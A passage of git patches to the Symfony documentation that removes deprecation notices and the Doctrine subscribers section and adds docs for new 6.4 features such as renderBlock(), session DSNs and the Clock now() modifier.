@@ -25,7 +25,7 @@ These are the **drawbacks and advantages** of each one:
 * Callbacks have better performance because they only apply to a single entity
   class, but you can't reuse the logic for different entities and they don't
   have access to :doc:`Symfony services </service_container>`;
-* Lifecycle listeners and subscribers can reuse logic among different entities
+* Lifecycle listeners can reuse logic among different entities
   and can access Symfony services but their performance is worse because they
   are called for all entities;
 * Entity listeners have the same advantages of lifecycle listeners and they have
@@ -37,7 +37,7 @@ to learn everything about them.
 
 .. seealso::
 
-    This article covers listeners and subscribers for Doctrine ORM. If you are
+    This article covers listeners for Doctrine ORM. If you are
     using ODM for MongoDB, read the `DoctrineMongoDBBundle documentation`_.
 
 Doctrine Lifecycle Callbacks
@@ -110,11 +110,6 @@ define a callback for the ``prePersist`` Doctrine event:
 Doctrine Lifecycle Listeners
 ----------------------------
 
-.. deprecated:: 6.3
-
-    Lifecycle subscribers are deprecated starting from Symfony 6.3 and will be
-    removed in Symfony 7.0. Use lifecycle listeners instead.
-
 Lifecycle listeners are defined as PHP classes that listen to a single Doctrine
 event on all the application entities. For example, suppose that you want to
 update some search index whenever a new entity is persisted in the database. To
@@ -201,7 +196,7 @@ listener in the Symfony application by creating a new service for it and
                         # this is the only required option for the lifecycle listener tag
                         event: 'postPersist'
 
-                        # listeners can define their priority in case multiple subscribers or listeners are associated
+                        # listeners can define their priority in case listeners are associated
                         # to the same event (default priority = 0; higher numbers = listener is run earlier)
                         priority: 500
 
@@ -219,7 +214,7 @@ listener in the Symfony application by creating a new service for it and
 
                 <!--
                     * 'event' is the only required option that defines the lifecycle listener
-                    * 'priority': used when multiple subscribers or listeners are associated to the same event
+                    * 'priority': used when multiple listeners are associated to the same event
                     *             (default priority = 0; higher numbers = listener is run earlier)
                     * 'connection': restricts the listener to a specific Doctrine connection
                 -->
@@ -248,7 +243,7 @@ listener in the Symfony application by creating a new service for it and
                     // this is the only required option for the lifecycle listener tag
                     'event' => 'postPersist',
 
-                    // listeners can define their priority in case multiple subscribers or listeners are associated
+                    // listeners can define their priority in case multiple listeners are associated
                     // to the same event (default priority = 0; higher numbers = listener is run earlier)
                     'priority' => 500,
 
@@ -262,12 +257,6 @@ listener in the Symfony application by creating a new service for it and
 
     The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.7.2.
 
-.. tip::
-
-    Symfony loads (and instantiates) Doctrine listeners only when the related
-    Doctrine event is actually fired; whereas Doctrine subscribers are always
-    loaded (and instantiated) by Symfony, making them less performant.
-
 .. tip::
 
     The value of the ``connection`` option can also be a
@@ -414,148 +403,6 @@ with the ``doctrine.orm.entity_listener`` tag as follows:
             ;
         };
 
-Doctrine Lifecycle Subscribers
-------------------------------
-
-Lifecycle subscribers are defined as PHP classes that implement the
-``Doctrine\Common\EventSubscriber`` interface and which listen to one or more
-Doctrine events on all the application entities. For example, suppose that you
-want to log all the database activity. To do so, define a subscriber for the
-``postPersist``, ``postRemove`` and ``postUpdate`` Doctrine events::
-
-    // src/EventListener/DatabaseActivitySubscriber.php
-    namespace App\EventListener;
-
-    use App\Entity\Product;
-    use Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface;
-    use Doctrine\ORM\Event\PostPersistEventArgs;
-    use Doctrine\ORM\Event\PostRemoveEventArgs;
-    use Doctrine\ORM\Event\PostUpdateEventArgs;
-    use Doctrine\ORM\Events;
-
-    class DatabaseActivitySubscriber implements EventSubscriberInterface
-    {
-        // this method can only return the event names; you cannot define a
-        // custom method name to execute when each event triggers
-        public function getSubscribedEvents(): array
-        {
-            return [
-                Events::postPersist,
-                Events::postRemove,
-                Events::postUpdate,
-            ];
-        }
-
-        // callback methods must be called exactly like the events they listen to;
-        // they receive an argument of type Post*EventArgs, which gives you access
-        // to both the entity object of the event and the entity manager itself
-        public function postPersist(PostPersistEventArgs $args): void
-        {
-            $this->logActivity('persist', $args->getObject());
-        }
-
-        public function postRemove(PostRemoveEventArgs $args): void
-        {
-            $this->logActivity('remove', $args->getObject());
-        }
-
-        public function postUpdate(PostUpdateEventArgs $args): void
-        {
-            $this->logActivity('update', $args->getObject());
-        }
-
-        private function logActivity(string $action, mixed $entity): void
-        {
-            // if this subscriber only applies to certain entity types,
-            // add some code to check the entity type as early as possible
-            if (!$entity instanceof Product) {
-                return;
-            }
-
-            // ... get the entity information and log it somehow
-        }
-    }
-
-.. note::
-
-    In previous Doctrine versions, instead of ``Post*EventArgs`` classes, you had
-    to use ``LifecycleEventArgs``, which was deprecated in Doctrine ORM 2.14.
-
-If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
-and DoctrineBundle 2.1 (released May 25, 2020) or newer, this example will already
-work! Otherwise, :ref:`create a service <service-container-creating-service>` for this
-subscriber and :doc:`tag it </service_container/tags>` with ``doctrine.event_subscriber``.
-
-If you need to configure some option of the subscriber (e.g. its priority or
-Doctrine connection to use) you must do that in the manual service configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            App\EventListener\DatabaseActivitySubscriber:
-                tags:
-                    - name: 'doctrine.event_subscriber'
-
-                      # subscribers can define their priority in case multiple subscribers or listeners are associated
-                      # to the same event (default priority = 0; higher numbers = listener is run earlier)
-                      priority: 500
-
-                      # you can also restrict listeners to a specific Doctrine connection
-                      connection: 'default'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
-            <services>
-                <!-- ... -->
-
-                <!--
-                    * 'priority': used when multiple subscribers or listeners are associated to the same event
-                    *             (default priority = 0; higher numbers = listener is run earlier)
-                    * 'connection': restricts the listener to a specific Doctrine connection
-                -->
-                <service id="App\EventListener\DatabaseActivitySubscriber">
-                    <tag name="doctrine.event_subscriber" priority="500" connection="default"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\EventListener\DatabaseActivitySubscriber;
-
-        return static function (ContainerConfigurator $container): void {
-            $services = $container->services();
-
-            $services->set(DatabaseActivitySubscriber::class)
-                ->tag('doctrine.event_subscriber'[
-                    // subscribers can define their priority in case multiple subscribers or listeners are associated
-                    // to the same event (default priority = 0; higher numbers = listener is run earlier)
-                    'priority' => 500,
-
-                    // you can also restrict listeners to a specific Doctrine connection
-                    'connection' => 'default',
-                ])
-            ;
-        };
-
-.. tip::
-
-    Symfony loads (and instantiates) Doctrine subscribers whenever the
-    application executes; whereas Doctrine listeners are only loaded when the
-    related event is actually fired, making them more performant.
-
 .. _`Doctrine`: https://www.doctrine-project.org/
 .. _`lifecycle events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html#lifecycle-events
 .. _`official docs about Doctrine events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html
diff --git a/mailer.rst b/mailer.rst
index 8dc952f2fb9..22807ed3533 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -581,12 +581,6 @@ Alternatively you can attach contents from a stream by passing it directly to th
         ->addPart(new DataPart(fopen('/path/to/documents/contract.doc', 'r')))
     ;
 
-.. deprecated:: 6.2
-
-    In Symfony versions previous to 6.2, the methods ``attachFromPath()`` and
-    ``attach()`` could be used to add attachments. These methods have been
-    deprecated and replaced with ``addPart()``.
-
 Embedding Images
 ~~~~~~~~~~~~~~~~
 
@@ -628,12 +622,6 @@ images inside the HTML contents::
 
     The support of embedded images as HTML backgrounds was introduced in Symfony 6.1.
 
-.. deprecated:: 6.2
-
-    In Symfony versions previous to 6.2, the methods ``embedFromPath()`` and
-    ``embed()`` could be used to embed images. These methods have been deprecated
-    and replaced with ``addPart()`` together with inline ``DataPart`` objects.
-
 .. _mailer-configure-email-globally:
 
 Configuring Emails Globally
@@ -1561,7 +1549,7 @@ Here's an example of making one available to download::
         {
             $message = (new DraftEmail())
                 ->html($this->renderView(/* ... */))
-                ->attach(/* ... */)
+                ->addPart(/* ... */)
             ;
 
             $response = new Response($message->toString());
diff --git a/messenger.rst b/messenger.rst
index c30e05c8836..b6ea33e8094 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -889,12 +889,6 @@ properties in the ``reset()`` method.
 If you don't want to reset the container, add the ``--no-reset`` option when
 running the ``messenger:consume`` command.
 
-.. deprecated:: 6.1
-
-    In Symfony versions previous to 6.1, the service container didn't reset
-    automatically between messages and you had to set the
-    ``framework.messenger.reset_on_message`` option to ``true``.
-
 .. _messenger-retries-failures:
 
 Retries & Failures
diff --git a/reference/attributes.rst b/reference/attributes.rst
index 761099a7356..6d0c4efa9ba 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -5,11 +5,6 @@ Attributes are the successor of annotations since PHP 8. Attributes are native
 to the language and Symfony takes full advantage of them across the framework
 and its different components.
 
-.. deprecated:: 6.4
-
-    Annotations across the framework are deprecated since Symfony 6.4, you must
-    only use attributes instead.
-
 Doctrine Bridge
 ~~~~~~~~~~~~~~~
 
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index b1f2139034a..e28c50978e1 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -270,13 +270,9 @@ you can control. The following configuration options exist for a mapping:
 ``type``
 ........
 
-One of ``annotation`` (for PHP annotations; it's the default value),
-``attribute`` (for PHP attributes), ``xml``, ``yml``, ``php`` or
-``staticphp``. This specifies which type of metadata type your mapping uses.
-
-.. deprecated:: 6.4
-
-    Annotations are deprecated since Symfony 6.4, use attributes instead.
+One of ``attribute`` (for PHP attributes; it's the default value),
+``xml``, ``yml``, ``php`` or ``staticphp``. This specifies which
+type of metadata type your mapping uses.
 
 See `Doctrine Metadata Drivers`_ for more information about this option.
 
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index f38c951e372..a561ed5ce6d 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -333,7 +333,7 @@ Array Operators
 * ``in`` (contain)
 * ``not in`` (does not contain)
 
-For example::
+These operators are using strict comparison. For example::
 
     class User
     {
diff --git a/reference/forms/types/options/date_widget_description.rst.inc b/reference/forms/types/options/date_widget_description.rst.inc
index 99573a2358a..956ad8c7148 100644
--- a/reference/forms/types/options/date_widget_description.rst.inc
+++ b/reference/forms/types/options/date_widget_description.rst.inc
@@ -10,8 +10,3 @@ following:
 
 * ``single_text``: renders a single input of type ``date``. User's input
   is validated based on the `format`_ option.
-
-.. deprecated:: 6.3
-
-    Not setting a value explicitly for this option is deprecated since Symfony 6.3
-    because the default value will change to ``single_text`` in Symfony 7.0.
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 0ee272f0325..58e6ef2d075 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -58,15 +58,6 @@ normalization process::
         }
     }
 
-.. deprecated:: 6.4
-
-    Injecting an ``ObjectNormalizer`` in your custom normalizer is deprecated
-    since Symfony 6.4. Implement the
-    :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerAwareInterface`
-    and use the
-    :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerAwareTrait` instead
-    to inject the ``$normalizer`` property.
-
 Registering it in your Application
 ----------------------------------
 
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 8a9ac1322f2..0262ae03e7e 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -211,12 +211,6 @@ automatically changed to ``'.inner'``):
                 ->args([service('.inner')]);
         };
 
-.. deprecated:: 6.3
-
-    The ``#[MapDecorated]`` attribute is deprecated since Symfony 6.3.
-    Instead, use the
-    :class:`#[AutowireDecorated] <Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated>` attribute.
-
 .. tip::
 
     The visibility of the decorated ``App\Mailer`` service (which is an alias

From a2f361ce8c1fc96549646b9c3712ecc5b7301c86 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 16 Aug 2023 13:10:53 +0200
Subject: [PATCH 3664/5766] [DomCrawler] Added argument $default to method
 Crawler::attr()

---
 components/dom_crawler.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 713073e30eb..4440a35f0ea 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -238,6 +238,18 @@ Access the attribute value of the first node of the current selection::
 
     $class = $crawler->filterXPath('//body/p')->attr('class');
 
+.. tip::
+
+    You can define the default value to use if the node or attribute is empty
+    by using the second argument of the ``attr()`` method::
+
+        $class = $crawler->filterXPath('//body/p')->attr('class', 'my-default-class');
+
+    .. versionadded:: 6.4
+
+        The possibility to specify a default value to the ``attr()`` method
+        was introduced in Symfony 6.4.
+
 Extract attribute and/or node values from the list of nodes::
 
     $attributes = $crawler

From 974914fe6aebf214617ade15fc6d4d1b84f07a78 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Wed, 16 Aug 2023 16:01:47 +0200
Subject: [PATCH 3665/5766] Remove paragraph about the impossibility to
 typehint a property

---
 service_container/injection_types.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 595ac79b185..d801ae0210d 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -364,15 +364,11 @@ Another possibility is setting public fields of the class directly::
         };
 
 There are mainly only disadvantages to using property injection, it is similar
-to setter injection but with these additional important problems:
+to setter injection but with this additional important problem:
 
 * You cannot control when the dependency is set at all, it can be changed
   at any point in the object's lifetime.
 
-* You cannot use type hinting so you cannot be sure what dependency is injected
-  except by writing into the class code to explicitly test the class instance
-  before using it.
-
 But, it is useful to know that this can be done with the service container,
 especially if you are working with code that is out of your control, such
 as in a third party library, which uses public properties for its dependencies.

From 16bb4988c9e1c3c088f967eb33e70c32b50a51fa Mon Sep 17 00:00:00 2001
From: Maksim Tiugaev <tugmaks@yandex.ru>
Date: Wed, 16 Aug 2023 22:00:54 +0300
Subject: [PATCH 3666/5766] [Routing] Fix xml and yaml example for forcing
 https

---
 routing.rst | 7 ++-----
 1 file changed, 2 insertions(+), 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index ad7062e5fa5..f4116bd2158 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2979,8 +2979,7 @@ defined as annotations:
         controllers:
             resource: '../../src/Controller/'
             type: annotation
-            defaults:
-                schemes: [https]
+            schemes: [https]
 
     .. code-block:: xml
 
@@ -2991,9 +2990,7 @@ defined as annotations:
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <import resource="../../src/Controller/" type="annotation">
-                <default key="schemes">HTTPS</default>
-            </import>
+            <import resource="../../src/Controller/" type="annotation" schemes="https"/>
         </routes>
 
     .. code-block:: php

From bae960241c7f044659e3c503b79d63f85e8b960b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 17 Aug 2023 12:47:16 +0200
Subject: [PATCH 3667/5766] clean up more legacy annotation config

---
 components/validator/resources.rst | 13 +++----------
 1 file changed, 3 insertions(+), 10 deletions(-)

diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 19b0c54b6ec..1b512942325 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -88,30 +88,24 @@ The AnnotationLoader
 
 At last, the component provides an
 :class:`Symfony\\Component\\Validator\\Mapping\\Loader\\AnnotationLoader` to get
-the metadata from the annotations of the class. Annotations are defined as ``@``
-prefixed classes included in doc block comments (``/** ... */``). For example::
+the metadata from the attributes of the class::
 
     use Symfony\Component\Validator\Constraints as Assert;
     // ...
 
     class User
     {
-        /**
-         * @Assert\NotBlank
-         */
+        #[Assert\NotBlank]
         protected string $name;
     }
 
 To enable the annotation loader, call the
-:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method.
-If you use annotations instead of attributes, it's also required to call
-``addDefaultDoctrineAnnotationReader()`` to use Doctrine's annotation reader::
+:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method::
 
     use Symfony\Component\Validator\Validation;
 
     $validator = Validation::createValidatorBuilder()
         ->enableAnnotationMapping()
-        ->addDefaultDoctrineAnnotationReader() // add this only when using annotations
         ->getValidator();
 
 To disable the annotation loader after it was enabled, call
@@ -133,7 +127,6 @@ multiple mappings::
 
     $validator = Validation::createValidatorBuilder()
         ->enableAnnotationMapping(true)
-        ->addDefaultDoctrineAnnotationReader()
         ->addMethodMapping('loadValidatorMetadata')
         ->addXmlMapping('validator/validation.xml')
         ->getValidator();

From 019c4e154641c51bf212865d50252201cf7ff50b Mon Sep 17 00:00:00 2001
From: David Rolston <gizmola@gmail.com>
Date: Thu, 17 Aug 2023 16:01:12 -0700
Subject: [PATCH 3668/5766] Update page_creation.rst remove unstyled diff
 symbol

This is a left over from docs showing both annotation and attribute route methods.  The plus sign isn't handled because the code block is not a diff.  Issue was brought up by a confused user.
---
 page_creation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/page_creation.rst b/page_creation.rst
index a7d6e84c199..c7cdb533c3a 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -104,7 +104,7 @@ You can now add your route directly *above* the controller:
         // src/Controller/LuckyController.php
 
         // ...
-        + use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Annotation\Route;
 
         class LuckyController
         {

From 264ebcce09a7e51177367c4cc61748a663955afd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 18 Aug 2023 11:54:17 +0200
Subject: [PATCH 3669/5766] [FrameworkBundle] Add documentation about using a
 DSN as the `session.handler_id`

---
 reference/configuration/framework.rst | 74 ++++++++++++++++++++++++++-
 1 file changed, 72 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 52f9e78a823..393760b5a0d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1608,10 +1608,80 @@ handler_id
 
 **type**: ``string`` **default**: ``session.handler.native_file``
 
-The service id used for session storage. The default value ``'session.handler.native_file'``
+The service id or DSN used for session storage. The default value ``'session.handler.native_file'``
 will let Symfony manage the sessions itself using files to store the session metadata.
 Set it to ``null`` to use the native PHP session mechanism.
-You can also :ref:`store sessions in a database <session-database>`.
+It is possible to :ref:`store sessions in a database <session-database>`,
+and also to configure the session handler with a DSN:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                # a few possible examples
+                handler_id: 'redis://localhost'
+                handler_id: '%env(REDIS_URL)%'
+                handler_id: '%env(DATABASE_URL)%'
+                handler_id: 'file://%kernel.project_dir%/var/sessions'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <!-- a few possible examples -->
+                <framework:session enabled="true"
+                    handler-id="redis://localhost"
+                    handler-id="%env(REDIS_URL)%"
+                    handler-id="%env(DATABASE_URL)%"
+                    handler-id="file://%kernel.project_dir%/var/sessions"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            // ...
+
+            $framework->session()
+                // a few possible examples
+                ->handlerId('redis://localhost')
+                ->handlerId(env('REDIS_URL'))
+                ->handlerId(env('DATABASE_URL'))
+                ->handlerId('file://%kernel.project_dir%/var/sessions');
+        };
+
+.. note::
+
+    Supported DSN protocols are the following:
+
+    * ``file``
+    * ``redis``
+    * ``rediss`` (Redis over TLS)
+    * ``memcached`` (requires :doc:`symfony/cache </components/cache>`)
+    * ``pdo_oci`` (requires :doc:`doctrine/dbal </doctrine/dbal>`)
+    * ``mssql``
+    * ``mysql``
+    * ``mysql2``
+    * ``pgsql``
+    * ``postgres``
+    * ``postgresql``
+    * ``sqlsrv``
+    * ``sqlite``
+    * ``sqlite3``
 
 .. _name:
 

From 422acb3bb665c80dd20e62fc9d905afb7c67c451 Mon Sep 17 00:00:00 2001
From: Maxim Tyugaev <tugmaks@yandex.ru>
Date: Mon, 21 Aug 2023 10:45:30 +0300
Subject: [PATCH 3670/5766] [Lock] small typo

---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index ea7a66f0432..a856523baa7 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -944,7 +944,7 @@ have synchronized clocks.
 PostgreSqlStore
 ~~~~~~~~~~~~~~~
 
-The PdoStore relies on the `Advisory Locks`_ properties of the PostgreSQL
+The PostgreSqlStore relies on the `Advisory Locks`_ properties of the PostgreSQL
 database. That means that by using :ref:`PostgreSqlStore <lock-store-pgsql>`
 the locks will be automatically released at the end of the session in case the
 client cannot unlock for any reason.

From 4121f05e43f1ee0c00f5fea3a518f2c2b7d88e0a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pierre=20P=C3=A9lisset?= <ppierre@recisio.com>
Date: Thu, 17 Aug 2023 17:06:51 +0200
Subject: [PATCH 3671/5766] Fix !php/const syntax in yaml

Quoted scalar is not evaluated
---
 reference/configuration/framework.rst | 30 +++++++++++++--------------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 52f9e78a823..3de27707e94 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2915,21 +2915,21 @@ This option also accepts a map of PHP errors to log levels:
         framework:
             php_errors:
                 log:
-                    '!php/const \E_DEPRECATED': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_USER_DEPRECATED': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_NOTICE': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_USER_NOTICE': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_STRICT': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_WARNING': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_USER_WARNING': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_COMPILE_WARNING': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_CORE_WARNING': !php/const Psr\Log\LogLevel::ERROR
-                    '!php/const \E_USER_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
-                    '!php/const \E_RECOVERABLE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
-                    '!php/const \E_COMPILE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
-                    '!php/const \E_PARSE': !php/const Psr\Log\LogLevel::CRITICAL
-                    '!php/const \E_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
-                    '!php/const \E_CORE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_DEPRECATED: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_USER_DEPRECATED: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_NOTICE: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_USER_NOTICE: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_STRICT: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_WARNING: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_USER_WARNING: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_COMPILE_WARNING: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_CORE_WARNING: !php/const Psr\Log\LogLevel::ERROR
+                    !php/const \E_USER_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_RECOVERABLE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_COMPILE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_PARSE: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+                    !php/const \E_CORE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
 
     .. code-block:: xml
 

From a945941e31357df7cebcfc62a25c14bba97c8491 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 18 Aug 2023 10:42:20 +0200
Subject: [PATCH 3672/5766] [FrameworkBundle] Add
 AbstractController::renderBlock() and renderBlockView()

---
 templates.rst | 49 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 49 insertions(+)

diff --git a/templates.rst b/templates.rst
index ba716427367..78289802649 100644
--- a/templates.rst
+++ b/templates.rst
@@ -604,6 +604,52 @@ to define the template to render::
 
     The ``#[Template()]`` attribute was introduced in Symfony 6.2.
 
+The ``AbstractController`` also provides the
+:method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlock`
+and :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlockView`
+methods::
+
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+
+    class ProductController extends AbstractController
+    {
+        // ...
+
+        public function price(): Response
+        {
+            // ...
+
+            // the `renderBlock()` method returns a `Response` object with the
+            // block contents
+            return $this->renderBlock('product/index.html.twig', 'price_block', [
+                // ...
+            ]);
+
+            // the `renderBlockView()` method only returns the contents created by the
+            // template block, so you can use those contents later in a `Response` object
+            $contents = $this->renderBlockView('product/index.html.twig', 'price_block', [
+                // ...
+            ]);
+
+            return new Response($contents);
+        }
+    }
+
+This might come handy when dealing with blocks in
+:ref:`templates inheritance <template_inheritance-layouts>` or when using
+`Turbo Streams`_.
+
+.. versionadded:: 6.4
+
+    The
+    :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlock` and
+    :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::renderBlockView`
+    methods were introduced in Symfony 6.4.
+
 Rendering a Template in Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1131,6 +1177,8 @@ Use the ``attributes`` option to define the value of hinclude.js options:
        set this option to 'true' to run that JavaScript code #}
     {{ render_hinclude(controller('...'), {attributes: {evaljs: 'true'}}) }}
 
+.. _template_inheritance-layouts:
+
 Template Inheritance and Layouts
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1614,3 +1662,4 @@ for this class and :doc:`tag your service </service_container/tags>` with ``twig
 .. _`official Twig extensions`: https://github.com/twigphp?q=extra
 .. _`global variables`: https://twig.symfony.com/doc/3.x/advanced.html#id1
 .. _`hinclude.js`: https://mnot.github.io/hinclude/
+.. _`Turbo Streams`: https://symfony.com/bundles/ux-turbo/current/index.html

From 30a2eedebbaae26cd51739d5e7a1b17bfa5bd393 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 21 Aug 2023 12:02:49 +0200
Subject: [PATCH 3673/5766] [Clock] Add $modifier argument to the `now()`
 helper

---
 components/clock.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/components/clock.rst b/components/clock.rst
index 9c0a64cf1ec..5c136e382a4 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -63,6 +63,15 @@ The Clock component also provides the ``now()`` function::
     // Get the current time as a DateTimeImmutable instance
     $now = now();
 
+The ``now()`` function takes an optional ``modifier`` argument
+which will be applied to the current time::
+
+    $later = now('+3 hours');
+
+    $yesterday = now('-1 day');
+
+You can use any string `accepted by the DateTime constructor`_.
+
 Later on this page you can learn how to use this clock in your services and tests.
 
 .. versionadded:: 6.3
@@ -70,6 +79,11 @@ Later on this page you can learn how to use this clock in your services and test
     The :class:`Symfony\\Component\\Clock\\Clock` class and ``now()`` function
     were introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The ``modifier`` argument of the ``now()`` function was introduced in
+    Symfony 6.4.
+
 Available Clocks Implementations
 --------------------------------
 
@@ -252,3 +266,4 @@ control on your time-sensitive code's behavior.
     The :class:`Symfony\\Component\\Clock\\Test\\ClockSensitiveTrait` was introduced in Symfony 6.3.
 
 .. _`PSR-20`: https://www.php-fig.org/psr/psr-20/
+.. _`accepted by the DateTime constructor`: https://www.php.net/manual/en/datetime.formats.php

From 4b338b6f2fa02a043e7df3e3439c14258c405db1 Mon Sep 17 00:00:00 2001
From: Reza Rabbani <50789773+thrashzone13@users.noreply.github.com>
Date: Mon, 21 Aug 2023 13:11:23 +0200
Subject: [PATCH 3674/5766] Add missing use case for Response

---
 routing.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/routing.rst b/routing.rst
index f4116bd2158..3b31d7dca13 100644
--- a/routing.rst
+++ b/routing.rst
@@ -70,6 +70,7 @@ do so, create a :doc:`controller class </controller>` like the following:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
